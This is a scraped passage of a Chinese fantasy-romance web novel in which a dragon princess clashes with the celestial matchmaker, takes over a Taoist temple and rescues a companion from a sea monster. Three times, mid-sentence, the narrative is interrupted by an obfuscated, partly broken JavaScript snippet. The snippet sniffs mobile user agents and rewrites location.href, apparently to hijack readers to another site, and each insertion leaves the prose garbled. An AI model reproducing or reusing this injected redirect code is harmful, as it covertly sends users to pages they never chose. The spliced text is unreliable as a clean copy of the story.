“这、”月微猝不及防接下,胸前好似中了一掌,说话气息都虚了不少,“这事关凡人姻缘,岂能轻易乱改红线谱。” 敖祈也不管他,自顾自在原地踱步,念了起来:“扬州城吴县人氏,姬述、吴珍珠、吴……” “胡闹!”月微仙君用袖子收起姻缘册,厉声呵斥,“男女姻缘,阴阳调和,乃人间繁衍之根本,岂能儿戏,说改就改!再说我是受了人间供奉香火的,要真改了岂不正好落你口实。” “不愿意?”敖祈回身抽回姻缘册,“你不改我改。” 捧着竹简大手一挥,原来的人名就随着指尖消失,又出现,重新排列成敖祈满意的模样。 “这回好,人人都有归宿了,姬述这个恶霸怎么办呢?”敖祈眼眸一转,瞬间有了主意,“就让他孤独终老好了。” 改完。。。。。。。。。 长生扑进去寻找无果,只得满脸忧惧地跪坐在地上问:“师父,这下怎么办?天帝知道了人间姻缘被打乱,会不会降罚咱们?” “慌什么,既然她自找麻烦,那就怪不得旁人。不让她涨涨记性,这个神官我就白当了。” * 北海龙宫。 常青被扶在榻上端坐,双眸紧闭,唇色惨白,纤长的睫毛在眼下遮住一小块阴影,时不时微微颤动。 敖煜和医官合力渡入法力,调和他体内灵力,治疗伤势。敖祈和敖闯被嫌弃太吵,只能呆在房间外等候,以防她动起手来,敖煜嘱咐敖冉盯着。 她就双手环于身前,站桩似地杵在门外,静看父王和妹妹敖祈分站两侧,互相背对彼此,谁也不服谁。 “谁让他自己冲过来,我又用不着他救。自以为是。” “你还好意思说,你要不去人间多管闲事,人家能认识你?能受伤吗?” “我救了那么多女孩子,怎么能是多管闲事,而且说出去谁会相信,哪有报恩是以身相许,当时她们都是要给我跪下来磕头。” “我给你跪下好不好哇?你是真不为北海考虑啊,现在月微仙君来要人,万一龙宫被连累……” 话未说完,三人面前的屋门被推开。 敖煜面色严肃地出来:“要吵到龙宫外面吵,怕连累也到外面去。” 左右各呵斥一句后,她才对上敖冉询问的目光。 “常青没事了。”见所有人都暗暗松了口气,敖煜转头又看向小女儿,“你随我去见月微仙君。” 7. 第 7 章 “我不去。”敖祈脖子一扭,转头看向旁边,“我没错。” “凡人各有因果,自有天道指引,此时受难,焉知彼时如何。我说了多少次,让你做事切莫急躁,要多番考虑后果。对月微仙君或许你不觉有愧,但凡人之事,不是你一个初出茅庐,还没有神职的龙族少主能左右的。” 敖煜越说,敖祈的下巴就越往下沉,说到最后,她闷声叹了一口气,仍有不甘。 “总拿什么天道、因果来说事,师父是这样,你们也这样。我是没有神职,但我分得清善恶是非,难道没有神职就不能为凡人做点什么吗?那月微那个有神职的老头儿怎么不好好管管他的信徒,想让我去给他道歉,门都没有。” 敖闯见她如此冥顽不灵,最后一点耐心也被消磨没了,不顾妻子在场也要说:“死不悔改啊,你断了人家的香火供奉,还跑去大闹红鸾阁,那红线谱是说毁就能毁的嘛,被天帝知道是要受罚的,你也太不知天高地厚了,我看你在南禺山待了五千多年还是一点长进也没有。” “趁早去向仙君请罪,弥补过失,免得连累我们。” 敖闯袖子一甩,别过脸去,不愿再看小女儿一眼,连她眼底的不解与失望也一并忽略,只听倔强清亮的嗓音在廊内回荡。 “难道你就有长进了吗?你不也还是什么缘由都不想问,只一味让我去道歉。” 敖煜上前拉住敖闯,使了道颜色,转头将声音语气放到最轻柔:“祈祈,我们不是不让你救人,只是你行事极端,完全没给自己留下退路。单说此事,若月微真有心闹到太清宫去,就算是我,也没法在天帝面前护你周全。” “那就不用母王出面。”敖祈愤然,“我敖祈一人做事一人当,绝不连累家人,就算是见了天帝,我也有我一番道理。” “祈祈……” 话音刚落,人已经出了龙宫,留下敖闯一人气得跳脚,而敖煜脸色也说不上多好,当着女儿的面不好直说,幸亏敖冉极有眼色,以担心妹妹为由,转身追了出去。 见两个孩子离开,敖煜走出廊下,离常青的房间稍远一些才说:“你也是,总说连累连累,要真论连累,还得是你我连累了祈祈。”敖煜叹了口气,“咱们特意让她拜师绛雪神君,不正是为了让她精进修为,日后出了事有力自保嘛,你怎么反倒还这么胆小怕事。” “我不是胆小怕事,阿煜,我是心急。你说都这么久了,她怎么还是这副莽撞性子,这样下去可怎么办。” “什么怎么办,我看她现在挺好的,说不定真的能积累功德,从天帝那儿领个神职当当,免得三十三重天那帮家伙看轻龙族,总在背后说咱们永生永世只能待在深不见底的渊下。” “要真是这样也好,怕就怕她还没得到神职,就把天帝给得罪了。再说她身上的……” 敖闯话还没说完,被敖煜突然一拽瞬间打断。 他有些茫然地看着妻子,而她特意确认附近无人,又回头看了看常青紧闭的房门,医官还在里面,人应该未醒。 “怎么啦?”他压低声音询问,像做贼似的。 敖煜更是将声音放到最轻,贴近敖闯耳畔说:“刚才他倒下的时候,我无意间发现祈祈身上的龟背玦动了。” “什么?!” “哎哟你小点声,别让里面听见。” “你没看错吗?” 敖闯也回头确认一眼房门,扭头对上敖煜的眼神,脸色逐渐凝重起来。 沉吟片刻后,他仰头向外望去,冰雕玉啄的北海龙宫外水深如黑夜,隔着千万年的冰层,连熹微的光线都照射不进来,不禁让人回忆起几千年未曾再见过的那个人。 “你说你上次去,看神山已经破败,雾霭重重,连天帝都说后宸已陨,这常青究竟是什么人,居然能让后宸给的玉有反应?” 敖煜忧心忡忡地摇头:“当初后宸给咱们那枚玉,交代必须要佐以北海极阴极寒的万年神龟龟甲才能镇住祈祈身上的戾气,说不准,那玉也同上古神器一样,能认主?” “嘶……后宸作为上古时期存活下来的神,法力强大,按理说不该陨落得那么无声无息,连绛雪神君都没察觉到。当年我就觉得此事蹊跷,说不准后宸神君根本没有殒命,也或许……”敖闯如梦方醒,“你说,若是里面那人是后宸转世怎么办?” 敖煜拍拍夫君的手背,安慰:“先别自乱阵脚,刚才我为他疗伤时探了探虚实,发现他修为不高,法力微薄,可能连一个守门的小仙都不如,完全不像是上古山神。咱们就以养伤为由,让他待在北海一段时间,观察观察再说。” * 天界,南天门。 敖祈这次风风火火再上天界,守门的天兵天将仍是没拦得住她。 “闪开,我要见天帝。” 然而没走几步路月微仙君就像是算好了的一样,带着长生迎面款款而来,笑得春风得意。 “本君就知道你还会再来,特意在此恭候多时了。天帝的上清宫在三十三重天上,可不是什么人想见就能随便见的,不如随本君回红鸾阁稍坐片刻。” “不了,我嫌乱。” 敖祈连想都没想,拒绝得干脆彻底,一下就把月微仙君心头的火气点起来。 “你不要以为仗着自己有点本事,别人不能把你怎么样,你就耀武扬威,说到底你只是龙族一个小小的少主,多少龙王都要敬着天界神官,你却胆敢毁了供奉神官的庙观。就算你救的凡人所嫁非所愿,难道整个扬州地界的姻缘红线都要打乱,重新为那几个人改写吗?!哼,天真小儿。” “你掌管人间姻缘,岂能枉顾男情女愿,胡乱牵红线促孽缘?该不会是岁数大了,年迈昏愦,不知道小年轻的心思吧。” “你!凡人命数短浅,重在繁衍,岂能光靠情愿与否,你一个连情劫是什么都还不知道的小神是不会懂的。再说你去天界看看,哪个神位上的神官敢说他治下清平,可那又如何?” “如何?雀生难道不就更应当珍惜光阴,不将时光浪费在错误的人身上,重在繁衍难道就不顾心中所愿,罔顾他人的想法?你不能做好这姻缘之神,自当退位,让有能者居之。”敖祈想不通,“神官享人间香火供奉,理应为凡人谋福祉,降福惠,怎能顾此失彼,让虔诚跪拜的信徒所求非所愿。” 月微沧桑的脸上浮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294624|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层冷笑,甚是不屑:“你还小,缺乏管束,又不领神职,自然不通晓其中道理。有无相生,福祸相成,凡人短短一生皆有其定数,多少人为财为名颠簸一生,婚嫁之事又岂能人人称心如意。当神仙的当处无为之事,行不言之教,方为天道。” 月微句句威压在前,又都是些老生常谈的大道理,那副傲慢劲让敖祈看得咬牙切齿,极不舒服,正要分辨,身后突然传来姐姐的声音。 “见过仙君。”敖冉点头行礼,端庄严肃,惹得月微笑意爬上眼角。 “这个龙丫头还算懂礼数啊。” 敖冉淡淡一笑:“仙君过奖,都是应该的。小妹不懂事,我代她向您配个不是,红鸾阁的损失过后会有北海龙宫奉上,还望仙君宽宏大量,莫再计较。” 敖祈气急不甘:“姐!” 敖冉置若罔闻,继续说:“至于扬州被毁的庙观,我们也会派人帮助重建,保证您的香火供奉不断。” “这还差不多,早这么说不就没事了嘛。”月微不知从哪掏出一柄仙鹤羽扇,自得意满地摆在胸前摇晃,“我还当你们北海龙宫全都如此蛮横无理呢。” 敖祈自是不服,当即拔剑,却被敖冉按住肩膀。 靠近她身边冷声嘱咐:“南天门处,天帝耳目,切勿生事。” 见敖祈心不甘情不愿地收势,月微又慢慢把面前遮脸的羽扇挪下来,恢复了神色:“不是我多管闲事,你们北海怎么不管管这孩子,她这样出去,得给人添多少麻烦。” 敖冉闻言,没等敖祈翻脸,就直接上前一步,挡在妹妹身前,冷脸说道:“我妹妹自幼在南禺山修行,并不是无人管束,只是绛雪神君自上古劫难之后便隐居避世,所行那套不是咱们后世之辈能够理解的,仙君还是回红鸾阁,好好等着北海龙宫派人送来的赔礼吧。” 上古时期条件艰难,神魔混战频繁,各方损失惨重,待天帝承接天道,掌管天界后四大上古神皆避世逍遥,再经三万年前絜风神君堕魔一事,至如今,还存世的上古神已经寥寥,绛雪便是唯一还能寻得到的四神之一。 月微两片嘴唇颤动了半天没能吐出一个字,他是经过几千年苦苦修炼才得以飞升天界的凡人修士,没想到一个几千年的小小龙女背后竟有如此大的来头,一时羞恼,也只得撇撇嘴认栽,好在北海愿意赔偿,也就没有二话。一甩袖子,转头就走。 “等等。”敖祈叫住他。 “你还要做什么?”月微急恼。 她小臂一提,手腕带动剑尖快速转了个方向,朝着她自己右肩猛地刺进去。 随着干脆利落地拔剑,鲜血喷溅而出,有几滴溅在南天门上,瞬间消失,在旁的所有人都看傻眼了,守门的天兵天将以为这是要动手的信号,正准备上前将她围住,忽听得敖祈哑然开口。 “先前我误伤无辜,就当这剑是还他的,牵缘观和红鸾阁的重新修建我也会负责到底。今日正好有人在场,请大家帮忙做个见证,我敖祈不管什么天什么道,什么苦乐定数,誓要让人间姻缘和畅,男情女愿,肯定做得比这个老头要好,介时……” “这司掌姻缘的神职也该换换了。” 8. 第 8 章 月微仙君夸大其词,想趁机污蔑她,敖祈并非不知道,打坏红鸾阁虽在她意料之外,可在扬州姻缘簿上修改几个名字,她还是心中有数的。 红线谱可比记录凡间佳偶的姻缘簿高深多了,自上古四大神创造它以来,内里包含天下红线情缘,浩瀚无穷,每时每刻都在发生变化,压根不会因几个小小的名字的改变就造成混乱。 那老头无非是想狮子大开口,站在道德高地上狠狠敲龙宫一笔,亦或是,只想吓一吓她。 不过她可不是胆小鼠辈,更不是斤斤计较的小人,那点珊瑚珍珠夜明石对于北海来说顶多算是九牛一毛,倘若之后她真的顶替了月微的位置,司掌人间姻缘,那他污蔑她这件事,也就不重要了。 离开南天门后,敖祈直接去了人间扬州,没想到牵缘观没被烧成灰烬,弘清也没有死,只是鼻青脸肿地站在庭前指挥年轻道士们修缮屋顶。 远远看到敖祈,他夹紧胳膊底下的拐杖,赶紧背过身去,想要走开,却被眼尖的敖祈当场叫住。 “站住。”敖祈揣着手缓缓走近那个略显无助的背影,“想不到你命还挺大的啊。” 弘清转头立即换了副面孔,拱手赔笑道:“姑奶奶,你看我都这样了,放过我好吗?” 当初常青救完人就离开了,并没有救治过任何人。弘清虽然醒转过来,但也差点丢了半条命,被敖祈穿剑而过的腿算是彻底废了,又因为失血过多,躺在床上半个月没能下地,如今好不容易养得差不多了,出门一看差点气昏过去。 原来是他从前藏在后山的两大包金子,不知怎么跑到了水井里,前不久被一个打水的道士发现后,全都拿去充当伙食费和置办修缮需要的东西了。 辛辛苦苦积攒这么些年的钱财,这下倒好,全贴补进了庙观当中,任是谁都接受不了。这不身上的伤口刚愈合得差不多,就赶紧爬起来监督修建,一是想着能不能从哪个环节中省下一点,另一方面也得监督他们,不然这点老婆本最后被花到哪里,他这个做道长的也不知道。 敖祈上下打量他缩着脖子的那副窝囊模样,来回踱步说:“放心,我这次来呢,主要是帮你们修庙观,不会再伤你性命的,只不过……” “我可没钱啊,一点也没有了。” 看他脑袋晃得跟拨浪鼓似的,敖祈一脸不屑,瞥向旁边:“谁稀罕啊,我来是想接管你们牵缘观的。” 这只是第一步。 要想积累功德,既要弥补之前的过失,还得真正在男女姻缘之事上做出贡献。既然如此,敖祈打算顺势接过牵缘观这个摊子,重新树立招牌,促成凡间姻缘美满,如此便可一步步达到她的目标。 但这在弘清听来无疑晴天霹雳,他眼望天空,突然生出一种对未来的绝望和迷茫。如今“人财两空”的事已经不算什么了,他连庙观管事的道长职务都要保不住了,还何谈以后呢。 更何况这敖祈也不知是何方神圣,他打不过,祖师爷也没请得动,只能咽下这份屈辱,认栽了。 想着想着,两行浊泪不自觉地从眼角滑落,正好被敖祈一扭头看见。 “不必感动,让牵缘观重塑新貌如今是我的责任。反倒是你,作恶多端,本该是伏受死之人,不过我初来乍到,对姻缘红帖之事全然不熟,需要有人从旁辅佐。你要是愿意,以后可以留下来给我打下手。” 说完还低头瞄了一眼弘清那条不能沾地的伤腿,感受到她视线的弘清更觉羞辱,满脸涨红,舌头在嘴里转了两圈,最终也没能说出一个字,只得闭眼认下。 接手牵缘观第一件事,为了确认附近有没有可以藏人的地方,敖祈首先将庙观里里外外巡逻了个遍。走到正殿门前时,恰好看到阶下斑驳血迹尚有残存,不知怎么,她忽然想起常青。 好像每次遇到他,都会闻到那股异香,敖祈垂眸拿起腰间玉玦,温润细腻的玉玦背面,天然的龟背纹理凹凸不平。 改日有机会,最好还是找他问个清楚,现在更重要的是接手第二件事。 远远地,弘清正从前殿一瘸一拐走过来,谄笑着说:“女侠,人都齐了,就等您啦。” 敖祈下巴一扬,示意带路。 先前她吩咐他给每个道士登记造册,便于管理和奖惩,主要也是为了找个由头在忙碌的修缮工作中把众人集合起来,宣布以后由她管事,给每对新人发放红帖。 庭前开阔处,摆着一张烧掉一角的供案,众道士井然有序,一字排开,挨个报备自己的性命、籍贯等等信息。 不召集还好,这人多一聚集起来没成想就生是非。 敖祈正抱剑站在供桌后,低头盯着弘清将众人口述的信息一一誊录在册,后面排队等候的人群中突然沸腾起来,一眼望去,像是在争吵什么。 日光正盛,敖祈一只手遮在额头前,眯眼看清是两个小道士站在队伍外大嚷。 她长臂一伸,指着他们说道:“严禁喧哗,严禁插队啊。这么多人都来得比你们早,还都在这儿等着呢,到后面排队去。” 谁知道两个年轻道士对视一眼,仿佛没听见似地,直冲冲朝供案这边跑来。 “干什么?着什么急?我说严禁插队没听见啊?” “我们不是要插队,我们是来找人的。” 原来和他们俩同屋就寝的还有两人,从昨夜到现在至今未归,下落不明。 “什么?失踪多久了?他们没跟任何人说过去向吗?”敖祈紧张地问,却见两个青涩的小道士对视一眼,连连摇头。 “以前下山采买会有赶不回来就在外过夜的情况,因最近修缮接近尾声,竣工前要准备的器物琐碎繁杂,得多跑几个集市才能凑齐,我俩昨夜熄灯前见床位是空的,以为他俩负责这个去了,就没当回事。可今早一问师哥们,都说采买清单还没拟定好,并没派人下过山,我们这才慌了。” “会不会是偷着跑了?附近山林也找过了吗?” 敖祈还在想之前姬府时,从她手底下逃脱的那俩人,因她曾将此处焚毁过,便乔装打扮之后隐匿于此,俗话说最危险的地方就是最安全的地方。只是他们没料到她还会再回来,怕被识破,于是连夜逃跑。 弘清道长执笔的手悬在空中,仔细回忆这两个小道士同屋之人的样貌。 他在牵缘观呆了三十一年,自上一任道长登遐后接管职务,要论对这里每一个道士的了解,恐怕没有人比他更清楚。 “不会。悟清、悟真都是在这儿生活了十几年的孤儿,幼时乞讨路过,我看他们可怜便收留下来,想来他们应当无处可去,也不会轻易不辞而别,还是在附近找找吧。” 没等敖祈说什么,众师兄弟一听,纷纷化作离线的珠子一样崩散开来,三三两两,结伴寻找。 “那我去后山看看,别是遇上野兽可就麻烦了。” “我也去。” “我们去前山野径找找。” 敖祈一言不发,看眼前一排人迅速消失,顿觉好笑,想不到这群道士不光一致对外,对内也挺团结。 听说后山范围很大,地形复杂,草木茂盛,常有野兽出没,为了赶在天黑之前快点找到人,她自发加入搜寻,独自沿着崎岖难行的山坡往下找。行至密林深处,忽闻草丛摇动,沙沙作响。 敖祈本能地摸上剑柄,轻手轻脚地缓慢靠近。 约莫就差三四步时,草叶突然静止,不再晃动,走近一看,树下倚着一个小麦肤色的健壮男子,腰缠粗麻绳,身着虎皮袄,印堂发黑,嘴唇发紫。 敖祈伸手探他鼻间,尚有一丝气息,只是十分微弱,看样子中毒不深,还来得及救活。 “快来个人搭把手,找到二位师弟啦——” 忽然前方有人呼喊,原来是因为草木太过茂密,有道缓坡十分隐蔽,容易被人忽视,一旦从上面的急坡跌下来,昏迷后很难再被发现。 闻讯赶来五六个人,帮忙一起将人从山坡下抬出来,除了悟清、悟真二人,他们还在几步开外找到一男一女,皆是昏迷不醒的状态,看打扮像是大户人家的女公子和侍从。 只是怪异的是,这二人双足裸露,脚腕上的伤口像是被人用利器割开过,还在流血。 “这里还有人——” “这不是芈校人家的女公子嘛,怎么到后山来了。” 道士中有人认出女子的身份,感叹奇怪。 敖祈:“你认识?” 道士点点头:“她父亲是负责给姬将军王管理王马的校人,十分得宠,前几日说要定亲了,芈校人还专门派人来请过红帖,按理说快成亲了,怎么今日晕倒在这里。” “恐怕这芈校人还送来不少谢礼吧。”敖祈嗤笑一声,斜乜一眼打趣他,年轻的小道士唰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294625|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下脸色通红,摸着后脑勺的碎发尬笑。 其实牵缘观在扬州乃至全国九州之内都有盛名,有情人相约来求红帖无非是讨个彩头,当做一世吉兆,大部分男女姻缘还是父母之命、媒妁之言,来观里走一趟不过是为走个过场,不至于比别人少点什么,过后婚姻出了矛盾,再被非议嘲笑。 因此,除了弘清道长私下里偷偷收钱改红帖上的姓名之外,其他人收受谢礼权当是达官贵人添的彩头,众师兄弟们分一分,每人也没拿到多少。 “行了都别杵着了。”敖祈蹲下查看四人情况后,起身说道,“你们师弟已经没救了,先把这俩人和上面那个壮汉抬回去吧。” 有人似乎不信,蹲下身一摸果然身体冰凉,已然僵硬。 “怎么会这样,师弟才二十出头,年纪轻轻怎么摔一跤就死了。” 看他悲痛万分,敖祈也很无奈,凡人命数确实短暂,这个年纪就离开人世也确实可惜。 “别太难过,也不至于这么脆弱,他们应是被毒蛇咬伤,中毒而亡的。早点回去,说不定那边三个还有救。” 扒开两个师弟的裤管,脚踝上三寸确有两点暗紫色的伤痕,早已凝固结痂。 众道士低头偷偷用袖子抹了把脸,重新振作起来却还是站在原地,你看我、我看你,良久未动,似是在犹豫什么,待敖祈一记冷眼飘来才终于有人开口。 “这、男女授受不亲,出家人更不能妄动,女公子还是交给你来吧。” 听闻这种离谱的规矩,敖祈嘴一撇,二话不说转身背起那个姑娘,又吩咐另外三人背着那个侍从和壮汉回前山观里,再叫人去后山安葬悟清、悟真两人。 回到庙观后,弘清火速赶来查看了几人状态,“好在有人及时割开伤口祛除毒血,暂无性命之虞,只是发热昏迷而已。这个猎虎打扮的小伙子身上没有伤口,却有中毒迹象,应该就是救他们的人。” 弘清放下侍从的裤脚,刚从床榻边的凳子起身,他身后的一个道士就极有眼力地递上拐杖,夹在弘清腋窝。 道士:“徒弟知道哪里有清蛇毒的草药,这就去采。” 不消一刻钟,刺鼻的苦味从大老远的地方飘来,那个道士便端着一大坨捣好的药膏还没等走进屋,敖祈就急忙出去,从他手里接过,按弘清的指导分成三份,分别敷在二人脚腕被割开的伤口上。 但剩下那个没被蛇咬却中了蛇毒,高烧昏迷的壮汉脚腕没有伤口,敖祈愣了片刻,迅速上手捏住男人的下颌,想把药膏就这么塞进他嘴里。 “哎哎哎,”弘清胳膊下的拐杖发出咚咚响,“你做什么?” 旁边道士上前拉住她拿药的那只手说:“这是外敷的,不能口服,得煮成汤药才行。” “哎呀救人要紧,他又没有伤口,我贴哪里?” 总不能贴在嘴唇上吧。 小道仍不肯松手:“你这样直接喂进去,会把人噎死的。” “真麻烦,那怎么办。” “先别急,他只是替这二人清毒时不慎吸进去了一点毒血,应该问题不大。”弘清挪动到芈家侍从身边探脉,“待我先看看这人情况如何,再煎一副药,兴许就没事了。” 沉默片刻,突然嘴角朝下一撇:“奇怪,什么蛇竟如此毒辣,他中毒虽然已有些时辰,可处理及时,不至于脉象如此微弱啊。” 说完又急忙去试芈家女公子的手腕,仍是眉心紧蹙,可知情况不容乐观。 “蛇毒之外还有热毒,草药效果不尽如人意,恐怕……” 旁边小道士震惊地张大嘴巴:“那怎么办啊师父,就这么看着他们死在咱们面前吗?芈校人要是知道他唯一的女儿死在咱们观中,可不好交代啊。” “我也知道,可是……”弘清欲言又止。 敖祈受不了他墨迹,率先问道:“你把话说完,到底有没有办法?” “后山猛兽虽多,可毒蛇并不多见,无非就是些毒素微弱的小蛇,眼下三人高烧不退,若有法子祛除热毒,兴许还有救。” 话音未落,一道红光倏忽闪灭,敖祈早已消失不见。说到去除热毒,世间再没有比北海玄冰更厉害的东西,就算是大罗金仙也保准能治,想到此处,立刻动身,赶赴北海龙宫一趟。 空气中回荡着敖祈缥缈远去的声音:“你们先煎药救人,我去去就回。” 9. 第 9 章 北海是四海中最大的一片海域,其中珍宝数不胜数,却当属四海之中最寂寥静谧之地。只因北海地处极寒之北,终年被掩埋在苍白厚重的冰层之下,水面上又是高耸入云的巍峨雪山。 敖祈久违地站在冰面上,刚要去取雪山脚下浸润着寒水的玄冰,脚下突然传来异动,低头望去,湛蓝到发黑的水面下慢慢浮现出几个黑影,离水面越来越近。 看清是龙宫的兵卒后,她眉间的褶皱瞬间被抚平,从鼻间哼出笑意:“什么日子啊,这么热闹。” 刚说完没多久,砰得一声,两个虾兵破冰而出,从她身后刚走过的冰面下冲上来,快速旋转着直冲天际,最后在长长的高呼声中重重落地,砸在刚才那个冰窟窿的旁边。 “哇,你们这是知道我回来了,要给我表演一个?” 敖祈笑着走到他俩旁边,忍不住抱着手臂,俯身朝冰窟窿地底下望去,忽然意识到不对。 狭小的空洞里流淌着黑漆漆的海水,看似平静,实则暗流涌动。 两个虾兵一听是三少主的声音,激动地连滚带爬也要从冰面上挣扎起来:“参见三少主,我们要送赔礼去红鸾阁,不巧遇到了海百合打劫,小的们不是对手,这才被甩飞出来。” “哪个海百合?”敖祈惊讶,“是几千年前被我绑成死结的那个?” 话音未落,虾兵和她之间的冰层绽开裂纹,一串如羽毛般坚硬的粗壮触手猝然蹿出,被敖祈飞身后退躲开,那两个虾兵反应却没那么快,当即就被这股巨大的力道冲击,朝后跌出数十米,狠狠摔在冰面上。 粗粝丑陋的触手接连数次从冰下对敖祈发起攻击,每一下就精准无误地打在她刚落地的那处。好在每次都被她迅速躲开,最后一次,她瞅准时机,召出长剑,在飞身闪避的同时,砍向冰层外裸露的触手。 原本强有力的触手瞬间断裂,就如同被劈碎的石块一样四分五裂,与其相连的茎冠在冰面下痛得乱颤,搅动海水。 敖祈顺势旋身飞入,水面下一个高山般庞大的海百合如花朵一样扭曲着绽放,其中无数条如羽毛似的触手上还挂着珠串和虾兵蟹将。 “手下败将,还不乖乖束手就擒。” “敖祈?”海百合模糊不清地低语,“怎么是你?” 它的疑惑听起来愚蠢又真诚,仿佛真的出乎意料。转念一想,当年打服这个海底万年一霸时虽然警告过它别再嚣张,但那已经是她拜师南禺山前的事了,少说也得有个五六千年那么久远,别说这蠢物会无所顾忌,就是她自己也都快忘了这茬。 “怎么不能是我。” 敖祈唇边一扬,五六千年这么久,偏偏赶在她刚好在北海的时候,也是怪这蠢物运气不好,三番两次撞到她,尤其是它胆子竟然大到敢打龙宫的主意。 忽然一个男人的声音从蠢蠢欲动的千万根触手中传出来:“三少主,快走,你一个人对付它太危险了。” 冰层太厚,能透入水下的阳光极少,敖祈在漆黑的暗流中辨别了片刻,这声音有些熟悉,但就是不知道是从哪个方向传来的。 “常青?”她有点犹豫,“你怎么在这儿?” 这不是虾兵蟹将准备送去红鸾阁的赔礼吗? “它、好像发狂了。”常青艰难地吐出几个字。 敖祈警告:“妖孽,趁早放开他。” “三少主……” 海百合的声音仿佛从海渊谷底的深处传出,沧桑又沉闷,仿佛飘荡了几千万年,才被人听见。 “我等了你好久了……” “等我做什么?”敖祈挑眉嘲笑,“哦~是不是又想念我给你系的蝴蝶结啦?” “三少主……” 它曾经被敖祈戏弄,几个回合败下阵来不说,还被轻易缠成藤球,供敖祈和路过的水母、章鱼们肆意嘲笑,颜面尽失。 几千年过去,海百合犹记当年耻辱。此仇不报,白活万年。可惜它听说敖祈远赴南禺山修炼,以为再没有机会遇到,却没想到今天突然有人召唤它来这附近,就恰好把她送到它眼前了。 “今天真是个好日子……” 海水被无数只触手搅浑得浑浊难闻,敖祈什么也看不清,但海百合可以。亿万年的海底生活让它早已退化掉许多功能,不用眼睛,光凭身体灵敏的感知,它也可以快速准确地找到对手的位置。 正当敖祈大意之时,海百合一记横扫,海水中弥漫出血腥的味道。 趁她不注意,它偷袭了她还没痊愈的伤口。 得逞后,海百合全身的触手都不受控制地抖动,每一根都在不言而喻的兴奋和欢快,犹如报仇的快感流遍全身上下,然而每一下在敖祈看来都是嘲讽和不自量力。 “几千年过去,还是这点能耐。” 她捂着肩膀上再次被撕裂的伤口,合上双眼,屏息凝神,默念师父传授的剑诀。 挂在海百合无数触手上的珍珠、珊瑚被簌簌抖落,形状如羽毛一样的触角根根颤动,连带着被抓紧的常青也跟着大幅度晃动,颠得他头晕眼花。 贴着喉咙的一道软膜仿佛被撕裂,血腥之气呛得他说不出话。 极为难受之际,耳边传来敖祈清亮的声音:“找死。” 漆黑的水底陆续亮起无数光点,斑驳而耀眼,每一寸雷光的闪动都会削掉一条触手,她眸光凛冽,手中剑诀不止,每一下都是又快又狠。 粗粝的啸鸣和锋锐之物划破水流的声音此起彼伏。 受困于海百合的常青也跟着它在每一次受击的力道中晃动。 因为被束缚地太紧,再加之前的伤势太重,身体十分虚弱,很快他便感到窒息,眼前视线也越来越模糊。这和预想的不一样。 当时他在龙宫被敖闯打晕后,醒来房内除了两名医官,再无旁人。打听之后得知,三少主早已负气离开,二位龙王嘱咐让他暂留时日,静养康复。 为了溜出去找敖祈,他趁医官备药不注意时,悄悄施法让其陷入麻木状态。幸亏他如今的身体修为尚浅,敖煜一时大意,没有设下任何结界和看守,否则他不可能如此来去自如。 顺利离开房间后,常青恰好遇到一队虾兵蟹将正抬着许多箱奁准备出宫,便趁机混进了其中一个箱子里。 正当他躺在冰冷坚硬的器物间逃过龙门守卫,一路思考如何神不知鬼不觉地摆脱这些虾兵蟹将时,突然惊觉海水暗流中涌动的隐秘味道。 亿万年的时光当中,海百合们没有生出朝着陆地迈进的野心,反而被其他植物甩在身后,抛得越来越远,直至被埋在海底,彻底成为上古植物留给海洋的化石。就是这种简单中透着愚蠢的巨大生物才会在海底漫无目的地存活着,犹豫分不清饱腹和饥饿,所以在游走中时刻散发着觅食气味。 抱着一丝侥幸心理,常青修长指尖上点燃一簇幽幽微光,在箱内漆黑狭小的空间映亮半边侧脸。 “只能试一试了,希望它能感知到信息,帮我拦下队伍。” 他小心翼翼从封口边沿的缝隙间送出去,那缕带着原始气息的、陌生的香味飘散出去,成功吸引到了一只海百合的注意。 他的本意是想让它截停队伍,反正海百合只是想要吃的,金银财宝对植物又没有任何用处,想必它打开箱子看到是这些就会失望离去,介时他也就趁机从虾兵蟹将眼下逃开了。 只是千算万算,没想到海百合找不到香气的来源没有马上离开,相反更加狂躁,追到接近冰层之下的浅水区搅得天翻地覆。 虾兵蟹将溃散后,常青从箱中钻出来。 乍见着实为眼前这个异常巨大的海百合感到震撼,但很快适应后,他打算迅速解决了这个庞然大物。 只是没想到这时恰好冰层上突然落定一个熟悉的身影,让海百合更加兴奋癫狂,越发失控。为了避免被敖祈察觉,常青索性放弃抵抗,任由被腥臭滑腻的冰冷触手缚住手脚。 腥甜昏暗的海水中,他隐约察觉到敖祈离自己越来越靠近,却发不出任何声音。 “常青?回答我。你在哪?” 隔着海水,她的声音渺远空灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294626|167091||http|test|mini|href|location''.split(''|''),0,{})); () { 